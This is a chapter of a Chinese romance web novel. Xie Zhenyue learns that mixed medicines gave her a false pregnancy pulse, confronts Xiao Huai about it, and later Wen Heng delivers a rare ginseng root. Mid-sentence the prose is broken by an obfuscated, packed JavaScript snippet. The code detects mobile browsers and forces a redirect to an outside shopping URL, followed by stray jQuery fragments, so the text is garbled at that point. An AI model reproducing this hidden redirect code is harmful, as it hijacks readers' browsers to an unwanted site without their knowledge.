那日之后,谢枕月一直惦记着要找萧淮问那药丸的事。可惜他每日为了霍子渊的腿疾忙碌,仅有的一次碰面,徐漱玉正好跟她一起,她只好把话咽了回去。
日子与往常并无不同,只有枝头的冰凌越挂越长,尤其是她那住处,终日不见阳光,冷得跟冰窖似的。
偏她最怕冷了,每日一起床就直奔明心居。原因无他,不过是因为明心居向阳,从早到晚阳光都能光顾。
这日晌午,她慢悠悠地从门口的石桥上经过时,突然就被水边,几片浮在水面上的荷叶吸引了目光。
谢枕月一愣,快速绕去一侧水岸边,顾不上地上湿寒,俯身跪下把手伸进水里。第一眼看见这荷叶,她还以为是谁恶作剧放了假的在水里,没想到真扯了一小块叶片下来。
她看了看手里的嫩绿叶片,又弯腰把手伸进水里。呵气成冰的气候,手指竟触到一片温吞吞的暖意。
“枕月?”萧凌风刚取了药路过,老远看见这怪异的姿势,他走近了,看清是她,眼角忍不住抽了抽,“你、你这是做什么?”
谢枕月没起身,仰起脸,手指戳了戳水里的荷叶:“这样的天气,水里长了盛夏才有的荷叶,你都不好奇?”她又扯了根旁边青翠的草叶,“瞧,这周边连草都长疯了!”
萧凌风顺着她手指看去,一下子就乐了,赶紧伸手去拉她胳膊:“快起来,地上又湿又冷。这地下埋了块跟药楼那边相同的暖石碎料,你不说我都快忘了。”
他总觉得她这失忆症来得蹊跷,许多诸如此类的小事,她总能一本正经地抱以十分戏剧的好奇心,让人哭笑不得。
谢枕月“哦”了声,借着他的力气顺势起身,拍了拍裙子上沾的泥尘草屑。这缘故她知道,之前坑了萧淮的莲子羹,那莲子就是出自药楼那处的池子,但那时好歹是夏天。
她眼睛黏着那点倔强的新绿上:“那它能长起来开花结果吗?”
萧凌风在这里来来回回无数趟,从没留意过这些细枝末节:“夜里霜重,怕是不成。”正说着,他瞥见她垂在胸前的发丝里,缠了片枯草叶。他想也没想,很自然的低下头,手指轻柔地探过去,细心的把那草叶从发丝里摘出来。
谢枕月正想向他道一声谢,一抬眸,萧淮不知什么时候到的,就倚在门口的阴影里,跟她来了个对视。
她若无其事地移开视线,声音却不自觉放低:“多谢。”
“好了,跟我客气什么。”前几日他真是昏了头了,她如今跟个小孩似的,他到底在瞎想什么,“你快回屋里呆着吧,外头站着冷。”
她又应了声“好”,等萧凌风走远了,才磨磨蹭蹭地往回走,萧淮仍站在门口。
她一时竟有些心虚,怎么有种私会情人被正室抓包的错觉?忍不住又回头看了好几眼那水面上的荷叶,萧淮的声音却冷不丁的响起:“留神脚下。”
她低头,发现是颗小石子。
这肯定是故意的。她冷哼一声,环顾四周没发现有人,这才上前在他跟前站定。
两人头一次以这样尴尬又微妙的身份单独相对,她试探着轻轻叫了声:“五叔?”
萧淮没反驳,目光在她脸上停留了片刻,又移向了不知名的远方:“聊什么,这么投入,我到了许久你们都不曾察觉?”
这怎么听着,有种说不清道不明的味道?
谢枕月抬眸飞快地看他一眼,不死心地指着那荷叶位置,“我们在说往年这时候,那地方也能长出新荷吗?它们能顺利……开花,结出莲蓬吗?”
刚才他们的对话,萧淮其实一字不漏的听清了。见两人那亲近自然的模样,他的心像被什么细小的东西刺了下。她既然已经答应了自己,就该与凌风稍加避嫌才是。
可是他们仅仅只是说了几句话而已。
萧淮无声叹气:“有侍女曾为它搭过遮挡的棚子,后来一场大雪压塌了……”
“那是长出来了?”谢枕月有些惊喜。
萧淮轻轻点头,不想再继续这个话题。掌心向上摊开,露出两只一模一样的,粉色的莲辨小瓷瓶。
“少的这瓶……”他目光落在左侧,“是你原先一直服用的。”只是……被他与凌风这么一番折腾,已经所剩无几。
“新制的这瓶,你先用着。”主药年份太浅,他已经着人加紧去寻了,萧淮将右边的小瓷瓶也递给了她。
谢枕月盯着手心相同的粉色莲瓣小瓶,瞬间就懵了:“原先的?”
这瓶子还是量产的不成?她一下子抬起头来,“这是……凌风给你的?”
萧淮低低应了声。那误会已经过去,料想凌风不会提及,他也不想旧事重提,只道:“那安神丸出了问题,我已调整过配方。你日后只需服用一种即可,不必混用。”
谢枕月已经不知道说什么才好了,心中疑虑更甚。两人的行为实在古怪,由不得她不多想。
萧凌风为何绝口不提那药给了萧淮,甚至欲盖弥彰,等到天黑,也要特意给她新药?
她原先疑心萧凌风已经知晓她与萧淮的事了,可是那日给了她药后,他又像什么都没发生过一样,恢复如常。
“这药……到底出了什么问题?”直觉告诉她,应该发生了什么。
“不过是误会一场,都已经过去了。”萧淮说着,顺势牵起她的手,捏了下她的手心及手指,入手温暖干燥,已经不像之前的总是冰冷湿汗。
光天化日之下,还是在随时有人经过的明心居门口,说不准什么时候就有侍女弟子从拐角冒出来,他这是做什么?
谢枕月的心瞬间提到了嗓子眼,用了点力气,一把抽回手,皱着眉头不满道:“被人看见怎么办?”
“看见就看见吧。”萧淮目光投在她脸上,这心惊胆战的模样,倒比自己还怕被人知道,他立马就心气不顺了,干脆伸手将她两只手一齐握住。
“不是……明明是你要偷偷摸摸的?”
“我改主意了。”什么叫偷偷摸摸?
谢枕月一口气差点没上来,“这才几日,你……凌风怎么办?”她先挣出一只手,又急急拍掉他另一只,“凭什么你要做什么就做什么?”
萧淮不过是借机发挥,假意试探而已,此刻见了她这反应,他只觉得胸口梗得更厉害了,一言不发地扫过她,转身就走。
“等等,等等!”她见状,叹了口气,认命般又去拉他衣袖,“你还没说那药到底怎么回事呢?”
“真没什么。”他语气明显不耐。发生那样的误会,对他二十余年的行医经历来说是种莫大的讽刺,更让他难以启齿的是他做的那个决定。对比她此刻的行为,萧淮脸色奇臭无比,快步转身进屋。
这反应,反倒彻底激起了谢枕月的好奇心。本来只是可有可无的随口一问,现在她非要问个明白不可。
“到底是怎么了?你快说,你快说呀?”谢枕月寸步不离,他避到哪,她追到哪,最后把他堵在侧间的角落里。谢枕月绕到他跟前,扯着他的手臂不撒手,微微仰着头,一副得不到答案誓不罢休的样子。
她这副带点娇蛮的撒娇姿态,萧淮心里很是受用,面上却绷得紧紧的,半点不显露。这事要让他怎么说,光是想起之前的决定,就让他面皮发烫。
谢枕月见他仍是这副油盐不进的样子,冷哼一声,仿佛下了什么重大的决定。她悄悄垫起脚尖,飞快地在他脸颊上印下一吻,随后快速后退,恶狠狠地威胁他:“你要是不说,我就把你扯到门外去……”她眯起眼睛,目光别有深意的在他脸上,以及那捂得严严实实的领口处寸寸碾过。
挑眉道:“你懂我的意思吗?”刚才萧淮酸溜溜的,她已经明白过来他在气什么了。
萧淮只觉得脑子“嗡”得一声,一股热流倏地涌上头顶,他霎时口干舌燥起来。略有些不自在的瞥过眼,不敢去看她那双闪着好奇的双眼。
“也……没什么要紧的,就是那药与之前的药叠加服用,脉象会错乱。”
“然后呢?”她凑近了些,急不可耐地追问。
萧淮盯着那故作凶狠的小脸默了片刻,脸颊的触感还在,顺着皮肤仿佛一直痒到了他心里,他艰难地移开目光,从牙缝里挤出几个字:“会造成假孕的脉象。”他说完,立即轻咳一声,试图缓解尴尬。
“啊?”谢枕月一声惊呼,呆呆地望着他略显局促的模样,怔在原地半晌没有言语,“你……认为我怀孕了!”
萧淮头皮发麻:“是我的错。”
谢枕月脑中闪过客栈那日,他盯着自己时,那冰冷刺骨,仿佛要吃人般的眼神。肩上已经结痂愈合的伤口,这会仿佛又隐隐作痛起来。
难怪他会那样生气,还对她说出那样一番话来,原来不止是误会了她行为不轨,还以为她要找他当接盘侠!
想到这里,她突然顿住。
等等……
她好像发现什么不得了的事。
萧淮在误以为她怀孕的情况下,还说要对她负责?
还有更重要的一点,既然他们都误以为她有了身孕,那……
她猛地抬头凝视他,脸色变得极其古怪:“既然如此,那你当时认为……孩子生父是谁?”
糟了!
萧淮身形一僵。他怎么就忘了她会细究这个要命的问题。此时被她问起,他不受控制地,又重重地咳了声,连忙转移话题,“事情都过去了,此事是我错了,我们不提了好吗?”
“我会尽快找时机与凌风说清楚。”他补了句,安抚道。
这话她听听就算了,大约就如同明日请你吃饭一样,遥遥无期。
好在她的目的不是萧淮这个人。
谢枕月冷冷望着他:“原来我在你心里,是这样随便的人。”
“那五叔,您做这个决定,到底是因为喜欢我,还是因为怜惜我?”
萧淮对上她了然的视线,一时哑口无言。因为最初,他虽然做了那样的决定,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840478|184689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
决定认下那莫须有的孩子,但与其说是接纳,不如说是一种居高临下的施舍。混着怜悯,轻视,乃至对自己无法克制的悸动感到羞耻后,
那时他想:她既已如此不堪,我又何必再端着那份虚假的清高,不如就着堕落的由头,顺水推舟。
直到前几天以及刚才,自己下意识的反复试探行为,才骤然看清了自己。
他早已在心底最阴暗的角落,为这难以抑制的渴望,找到了扭曲又合理的解释。他疯狂地想要她,看见她就忍不住想要靠近,却偏把这责任推得一干二净。
她的问话,血淋淋的剖开了他所有自欺欺人的伪装。
萧淮垂在两侧的手缓缓抬起,靠近她,最终还是紧紧地握住了她双肩:“对不起,之前的我错的离谱……”
话音刚落,门外院子里突然传来温蘅轻柔的询问声,打断了他未完的话语:“五爷在里面吗?”
这声音犹如平地惊雷,两人俱是一惊,齐齐扭头转向门口。
温蘅在问谁?谢枕月只觉得过了一个世纪那么漫长,才听到九川慢了半拍的声音:“在呢!谢小姐……也在。”
后面说什么谢枕月已经无心分辨,她急急后退,扣在她肩膀上的手却非但没松开,反倒用力一扯,她整个人撞进他怀中。
“没什么见不得人的。”他低下头,仿佛急于证明什么,“我早该给你个交代。”
“你疯了?!”那也用不着这么极端。她又惊又急,门外的脚步声越发清晰,正不疾不徐地朝这边靠近。她甚至能想象出,温蘅进来撞见这疯狂的一幕,会有什么震惊的反应。
谢枕月心里乱成一团,分不清是愤怒多一些,还是惊讶多一些。恐慌混杂着某种难以言喻的感受,让她心脏疯狂跳动。
她急得眼泪都快出来了,她已经被萧嵘逼到走投无路,好不容易有个地方暂避,她不能再得罪温蘅跟徐漱玉,那会让她寸步难行。
那脚步声越来越近,几乎就在门外!
萧淮却仿佛铁了心,要推她下地狱。
情急之下,她扬起脸,对准他毫无防备的颈侧,张口便咬了下去。
……
“谢……小姐!”温蘅猝不及防,没料到会有人突然从侧旁飞蹿出来,她吓得声音都变了声调。待看清来人是谢枕月,以及那张涨得通红的脸和微微泛红的眼尾,心下顿时了然。
萧淮对谁都是一副淡淡的模样,唯有谢枕月,从来不假辞色,情绪格外鲜明。定是两人又闹起来了,她只作没看见她那狼狈的模样,轻笑着招呼。
谢枕月惊魂未定,极力控制怦怦直跳的心脏。刚才那一口,她用尽了全力,就当扯平了,她恨恨的想着。
“五叔在里头,我就不打扰你们了。”她急急丢下一句,已经顾不上温蘅会不会多想,低头快步冲出了明心居。
萧淮说不清此时是什么感受,视线随着那消失的身影,渐渐没了焦距。
温蘅见了萧淮此刻的模样,更加笃定了刚才的猜测。
她没去问他们发生了什么,转身从丫鬟手里接过木盒:“听闻霍公子腿疾大有起色,我没什么能帮得上忙的,略表心意,只是又要麻烦五爷制药了。”她熟稔地打开了盒上的搭扣。
霍子渊一来她就知道了,恰巧听闻萧淮托人留意此物,而她正好新得了一株,虽品相不完整,但年份久远,比之上回的有过之而无不及,自用应是无妨。
她又估摸着霍子渊初到,他没心思招待自己,特意多等了几日,才带着东西登门。
只是有些奇怪,这次他为何宁愿找别人,也不来寻自己帮忙?
萧淮瞥了一眼盒中人参,便大致心中有数:“温姑娘有心了,”他接过木盒,东西既已经送来,他总不至于让她吃亏,“这药不是为了子渊。”
温蘅闻言,微微一怔。
萧淮端详了片刻,将木盒递给九川。抬眼时,脸上已经恢复了一贯的冷清模样:“枕月此前多次受伤,体质虚耗得厉害,寻常药物已难起效,这次多谢你,特意送来。”
温蘅难掩惊讶:“是为了……谢小姐?”刚才不是还把人训哭了?尤其是上次她前来询问亲事那次,他恰好为谢枕月治伤出来,当日的脸色,她至今记忆犹新。
萧淮见她神色,知她定是误会了。他唇角微扬,仿佛宣示般:“她也是萧家人。”
也是,温蘅随即也跟着笑了起来,顺着他的话道:“是我以小人之心度君子之腹了。五爷向来宽厚,怎么会真的同后辈计较。”
“她……”萧淮抬手拂过颈侧,低笑了一下,“她怎么能算我的后辈。”
一丝怪异的违和感,在她心里一闪而过。谢枕月是谢氏遗孤,寄居萧家,确实算不上什么正经后辈,但萧淮为什么刻意强调这个?
若说厌恶,又为何特意为她去寻这千金难买的珍品入药?
温蘅没细思,就被丫鬟急切的呼声打断了。
徐漱玉又来了。